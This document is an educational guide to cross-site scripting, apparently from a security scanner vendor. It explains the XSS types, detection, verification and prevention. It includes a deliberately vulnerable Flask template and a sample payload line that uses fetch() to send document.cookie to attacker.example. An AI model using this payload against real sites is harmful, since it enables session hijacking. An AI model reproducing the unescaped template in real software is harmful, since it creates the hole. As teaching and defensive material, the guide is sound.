What Is XSS? Cross-Site Scripting Explained
A complete technical guide to Cross-Site Scripting (XSS): reflected, stored, and DOM-based XSS explained, with detection, verification, and prevention guidance.
Short answer
Cross-Site Scripting (XSS) happens when an application lets attacker-controlled input get treated as executable code in someone else's browser. The victim's browser runs the attacker's JavaScript believing it came from the trusted site.
The idea in one minute
Imagine a community noticeboard where anyone can pin up an index card, and the board's rule is simple: whatever is written on the card gets read aloud, word for word, to everyone who walks past. Most people write "Yard sale Saturday" or "Lost cat, please call." The board doesn't distinguish between a message and a command — it just reads whatever's pinned.
Now someone pins a card that says: "Everyone who reads this, go open the office safe and hand your key to the person standing here." If the noticeboard genuinely reads every card aloud without judgment, people will follow it — not because they're careless, but because the board itself never separated content from instruction.
That's XSS. The "noticeboard" is a web page; the "card" is user-supplied input — a comment, a username, a search term, a URL parameter. When a browser can't tell the difference between "text to display" and "script to execute," an attacker's card gets read aloud as code, inside a browser that trusts the site.
How XSS actually works
Browsers render HTML and execute <script> content by design — that's how legitimate JavaScript works. XSS happens when attacker input crosses from a data context into a code context without being neutralized first.
There are three recognized forms:
| Type | Where the payload lives | Who's affected |
|---|---|---|
| Reflected | Bounced back immediately in the server's response (e.g., a search results page echoing the query) | Whoever clicks a crafted link |
| Stored | Saved server-side (comment, profile field, message) and served to other users later | Everyone who views the page containing it |
| DOM-based | Never touches the server — client-side JavaScript writes untrusted data into the page (innerHTML, document.write) | Whoever loads the page in a vulnerable client-side flow |
Reflected and stored XSS are server-side injection problems — the server is responsible for encoding data before it lands in HTML. DOM-based XSS is a client-side problem — the vulnerable code is JavaScript running in the browser, and the server may never see the malicious payload at all.
The request flow
sequenceDiagram
participant Attacker
participant Victim
participant App as Vulnerable Application
Attacker->>App: Submits/crafts input containing a script payload
App-->>Victim: Serves page with payload unescaped in HTML/JS context
Victim->>App: Browser renders page, executes attacker's script
Victim-->>Attacker: Script exfiltrates cookies/tokens/actions to attacker
The attacker never touches the victim's browser directly. The vulnerable application is the delivery mechanism — the attacker just needs the app to serve their payload as if it were legitimate page content.
A minimal example
A comment field that renders user input directly into the page:
# Vulnerable Flask template rendering
@app.route("/comments")
def show_comments():
comment = request.args.get("comment", "")
return f"<div class='comment'>{comment}</div>" # no escaping
A request like:
GET /comments?comment=<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
renders the script tag as live markup. Every visitor who loads that comment thread executes it, sending their session cookie to the attacker.
The fix isn't complicated — it's disciplined output encoding:
from markupsafe import escape
@app.route("/comments")
def show_comments():
comment = request.args.get("comment", "")
return f"<div class='comment'>{escape(comment)}</div>"
escape() turns <script> into <script> — still visible as text, never executed as code.
Why the vulnerability exists
- Output is inserted into HTML, JavaScript, or attribute contexts without context-appropriate encoding
- Developers encode once (e.g., HTML-escape) but the same value is also reflected into a JavaScript string or a URL attribute, where HTML escaping alone doesn't help
- Client-side code writes untrusted data directly into the DOM using sinks like
innerHTML,outerHTML,document.write(), oreval() - Rich-text or "allow some HTML" features sanitize with a custom blocklist instead of a maintained allowlist-based sanitizer, and the blocklist misses an encoding or tag variant
What attackers look for
- Any input reflected back into the page: search boxes, error messages, URL parameters, referrer headers rendered in analytics widgets
- Fields that persist and are later displayed to other users: comments, usernames, bios, support tickets, file names
- Client-side JavaScript that reads from
location.hash,location.search, ordocument.referrerand writes it into the DOM - "Rich text" inputs (comments with formatting, markdown previews) where some HTML is intentionally allowed
Detection
- Static/code review: search for raw output of user input into HTML templates without an auto-escaping engine, and for dangerous DOM sinks (
innerHTML,document.write,eval) fed by untrusted sources (location.*,document.referrer, URL params). - DAST: inject distinctive, harmless markers (not just
<script>alert(1)</script>— use unique strings) into every input and observe whether they come back unescaped in HTML, script, or attribute context. - Browser-based verification: confirm actual JavaScript execution (e.g., a benign callback firing) rather than just spotting an unescaped angle bracket in the response — reflection alone isn't proof of exploitability.
Verification: real vulnerability or false positive?
Confirmed when:
- A payload actually executes in a real browser context — not just appears unescaped in raw HTML that a browser would never render as script (e.g., inside a
<textarea>or a properly-quoted attribute is not necessarily exploitable) - The context matters:
<reflected inside an HTML comment or a non-executing attribute isn't XSS by itself — check what surrounds the injection point - For DOM-based candidates, confirm the vulnerable client-side sink actually receives the attacker-controlled source (trace source → sink), not just that both exist somewhere on the page
Real-world impact
XSS is a client-side foothold, and its severity scales with what the victim's session can do:
- Session hijacking: stealing session cookies or tokens to impersonate the victim
- Credential theft: injecting a fake login form or keylogger into a trusted page
- Account takeover: performing actions as the victim (changing email/password, transferring funds, posting content)
- Worm propagation: stored XSS that copies itself into every profile it touches — the canonical case is the 2005 "Samy" worm on MySpace, a stored-XSS payload that self-replicated across profiles and spread to roughly a million of them within about a day, remaining the standard teaching example of stored XSS's viral potential.
Prevention
- Context-aware output encoding: HTML-encode for HTML body context, JavaScript-encode for script context, URL-encode for URL context, attribute-encode for attribute context — one encoding scheme does not cover all contexts.
- Use your framework's auto-escaping: modern templating engines (Jinja2, React, Vue) escape by default — the real risk is developers explicitly opting out (
|safe,dangerouslySetInnerHTML,v-html) without a reason. - Avoid dangerous DOM sinks: prefer
textContent/innerTextoverinnerHTML; if HTML must be inserted, sanitize with a maintained allowlist-based library, not a hand-rolled blocklist. - Content Security Policy (CSP): a strong CSP (avoiding
unsafe-inline) is a meaningful additional layer that limits what injected scripts can do — but it's a mitigation, not a substitute for fixing the encoding issue. - Cookie hardening:
HttpOnlyprevents JavaScript (including injected JavaScript) from reading session cookies directly, reducing the impact of a successful XSS even when one occurs.
Related vulnerabilities
- CSRF — often chained with XSS; XSS can also be used to silently perform CSRF-protected actions, since it executes with the victim's authenticated session
- CORS misconfigurations — can expand what a successful XSS payload can read from other origins
- DOM-based vulnerabilities — the broader client-side sink/source problem class XSS belongs to
- Content Security Policy bypass techniques — relevant once CSP is deployed as a mitigation
Testing methodology (do this safely)
- Only test targets you're authorized to test.
- Use unique, harmless markers per injection point rather than a single generic payload, so you can trace exactly which input reached which output context.
- Confirm actual script execution (a benign, non-destructive proof, like a visible alert or a request to infrastructure you control) rather than inferring exploitability from an unescaped character alone.
- For stored XSS, avoid leaving live payloads in shared/production data — clean up after confirming impact, and prefer isolated test accounts.
- Document the injection point, the output context, and the proof of execution.
Further reading
- OWASP: Cross Site Scripting (XSS)
- OWASP Cheat Sheet Series: XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy: Cross-site scripting
- MITRE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Nyxeara perspective
Reliable XSS detection depends on proving execution, not just spotting reflection. A scanner that flags every unescaped angle bracket without confirming the surrounding context actually allows script execution will generate noise that erodes trust in the tool faster than it finds real bugs.